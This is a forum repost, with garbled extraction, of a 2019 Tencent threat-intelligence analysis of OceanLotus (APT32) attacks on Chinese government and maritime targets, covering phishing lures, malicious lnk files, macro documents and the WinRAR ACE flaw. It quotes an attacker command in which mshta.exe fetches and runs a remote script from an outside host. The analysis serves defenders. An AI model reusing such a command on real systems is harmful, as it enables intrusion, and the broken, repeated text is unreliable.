搜索

[14035] 2019-04-26_贼心不死，海莲花APT组织一季度攻击活动揭秘

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-04-26_贼心不死，海莲花APT组织一季度攻击活动揭秘 贼 心 不 死 ， 海 莲 花 A P T 组 织 一 季 度 攻 击 活 动 揭 秘 腾 讯 电 脑 管 家   F r e e B u f   2 0 1 9 - 0 4 - 2 6 一 、 背 景 一 、 背 景 “ 海 莲 花 海 莲 花 ” （ 又 名 （ 又 名 A P T 3 2 、 、 O c e a n L o t u s ） ， 被 认 为 是 来 自 越 南 的 ） ， 被 认 为 是 来 自 越 南 的 A P T 攻 击 组 织 ， 自 攻 击 组 织 ， 自 2 0 1 2 年 活 跃 以 来 ， 一 直 针 对 年 活 跃 以 来 ， 一 直 针 对 中 国 的 敏 感 目 标 进 行 攻 击 活 动 ， 是 近 几 年 来 针 对 中 国 大 陆 进 行 攻 击 活 动 的 最 活 跃 的 中 国 的 敏 感 目 标 进 行 攻 击 活 动 ， 是 近 几 年 来 针 对 中 国 大 陆 进 行 攻 击 活 动 的 最 活 跃 的 A P T 攻 击 组 织 之 一 。 攻 击 组 织 之 一 。 在 2 0 1 9 年 第 一 季 度 ， 腾 讯 御 见 威 胁 情 报 中 心 持 续 的 检 测 到 该 组 织 针 对 中 国 大 陆 的 政 府 、 海 事 机 构 、 商 务 部 门 、 研 究 机 构 的 攻 击 活 动 。 此 外 该 组 织 还 在 不 断 的 更 新 他 们 的 攻 击 武 器 库 ， 无 论 是 钓 鱼 的 诱 饵 形 式 、 p a y l o a d 的 加 载 、 横 向 移 动 等 。 尤 其 值 得 注 意 的 是 ， 我 们 发 现 该 组 织 针 对 不 同 的 机 器 下 发 不 同 的 恶 意 模 块 ， 使 得 即 便 恶 意 文 件 被 安 全 厂 商 捕 捉 到 ， 也 因 为 无 相 关 机 器 特 征 而 无 法 解 密 最 终 的 p a y l o a d ， 无 法 知 晓 后 续 的 相 关 活 动 。 活 动 钻 石 模 型 如 下 ： 二 、 技 术 分 析 二 、 技 术 分 析
1 、 、   初 始 攻 击 初 始 攻 击 恶 意 文 件 投 递 的 方 式 依 然 是 最 常 用 的 鱼 叉 攻 击 的 方 式 ， 钓 鱼 关 键 字 包 括 ” 干 部 培 训 ” ， ” 绩 效 ” ， ” 工 作 方 向 ” ， ” 纪 检 监 察 ” 等 ， 相 关 的 邮 件 如 下 ：
除 此 该 次 攻 击 还 新 增 了 敏 感 内 容 的 主 题 ， 用 户 吸 引 被 攻 击 者 打 开 ， 如 敏 感 图 片 ： 2 、 、   诱 饵 类 型 诱 饵 类 型 2 0 1 9 年 一 季 度 投 递 的 恶 意 诱 饵 类 型 众 多 ， 包 括 白 加 黑 、 l n k 、 d o c 文 档 、 带 有 W i n R A R A C E （ C V E - 2 0 1 8 - 2 0 2 5 0 ） 漏 洞 的 压 缩 包 等 。 1 ）   白 加 黑
2 ）   恶 意 l n k 3 ）   带 有 宏 的 恶 意 d o c 文 档 4 ）   带 有 W i n R A R   A C E （ C V E - 2 0 1 8 - 2 0 2 5 0 ） 漏 洞 的 压 缩 包 ：

3 、 、   恶 意 文 件 植 入 恶 意 文 件 植 入 1 ）   恶 意 l n k 分 析 在 1 月 的 一 波 攻 击 中 ， 该 组 织 会 在 所 有 的 投 递 的 压 缩 包 里 ， 都 存 放 一 个 恶 意 的 l n k ， 但 是 所 有 的 l n k 文 件 都 类 似 （ 执 行 的 地 址 不 能 ， 但 是 内 容 一 致 ） 。 l n k 文 件 的 图 标 伪 装 成 w o r d 图 标 。 值 得 注 意 的 是 ， 该 l n k 的 图 标 会 从 网 络 获 取 ， 因 此 如 果 远 程 服 务 器 已 经 关 闭 ， 会 导 致 该 l n k 无 图 标 的 现 象 。 此 外 ， 还 会 造 成 即 便 不 双 击 l n k ， 只 要 打 开 l n k 所 在 的 目 录 ， 就 会 出 现 网 络 连 接 的 现 象 。 该 现 象 的 原 因 是 ： e x p l o r e r 解 析 l n k 的 时 候 会 去 解 析 图 标 ， 而 这 个 l n k 配 置 的 图 标 在 网 络 上 ， 因 此 会 自 动 去 下 载 ， 但 只 是 下 载 ， 不 会 执 行 ， 看 一 眼 不 运 行 l n k 文 件 的 话 ， 会 泄 漏 自 身 i p 地 址 ， 但 不 会 导 致 电 脑 中 木 马 。
双 击 运 行 l n k 后 ， 会 执 行 下 列 命 令 ： 其 中 ，   n e w s . h t m l 实 际 为 一 个 v b s 脚 本 文 件 ： m s t h a 执 行 此 脚 本 本 后 会 解 密 脚 本 中 存 储 的 内 容 ， 并 存 储 到 % t e m p % 目 录 下 ， 文 件 名 分 别 为 ： 解 密 算 法 如 下 所 示 ： C : W i n d o w s S y s W O W 6 4 m s h t a . e x e h t t p : / / a p i . b a i d u - j s o n . c o m / f e e d / n e w s . h t m l 7 b 9 5 f f a b - 3 a 9 c - 4 9 4 a - a 5 8 4 - 9 c 4 8 d c 7 a a 6 a 7 . t m p 7 b 9 5 f f a b - 3 a 9 c - 4 9 4 a - a 5 8 4 - 9 c 4 8 d c 7 a a 6 a 7 . e x e 7 b 9 5 f f a b - 3 a 9 c - 4 9 4 a - a 5 8 4 - 9 c 4 8 d c 7 a a 6 a 7 . l o g 7 b 9 5 f f a b - 3 a 9 c - 4 9 4 a - a 5 8 4 - 9 c 4 8 d c 7 a a 6 a 7 . e n v
接 着 调 用 系 统 自 带 的 o d b c c o n f . e x e ， 将 7 b 9 5 f f a b - 3 a 9 c - 4 9 4 a - a 5 8 4 - 9 c 4 8 d c 7 a a 6 a 7 . t m p （ d l l 文 件 ） 给 加 载 起 来 。 最 后 调 用 t a s k k i l l . e x e ， 结 束 m s h t a . e x e 进 程 ： 但 是 奇 怪 的 是 ， 由 于 解 密 算 法 的 问 题 ， 导 致 最 终 的 解 密 失 败 ， 因 此 执 行 该 l n k ， 用 户 实 际 并 不 会 中 招 ： 从 而 我 们 猜 测 该 方 式 可 能 还 处 于 测 试 阶 段 ， 或 者 作 者 由 于 疏 忽 导 致 。 不 过 在 后 续 的 攻 击 活 动 中 ， 我 们 未 再 次 检 测 到 该 攻 击 方 式 。 2 ）   带 有 宏 的 d o c 文 档 带 有 宏 的 文 档 的 投 递 ， 是 该 组 织 比 较 常 用 的 恶 意 诱 饵 ， 如 ： 此 外 ， T w i t t e r 上 也 有 不 少 安 全 同 仁 曝 光 过 该 组 织 的 该 方 式 的 诱 饵 ：
此 外 疑 似 作 者 还 在 V T 上 跟 相 关 研 究 员 互 动 ：
当 然 ， 我 们 更 相 信 该 用 户 可 能 只 是 安 全 研 究 员 之 间 的 一 个 玩 笑 。 执 行 宏 后 ， 首 先 会 复 制 原 始 文 档 到 % t e m p % 下 ， 命 名 为 随 机 名 文 件 ： 然 后 解 密 出 一 个 新 的 V B A 宏 ： 接 着 设 置 注 册 表
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理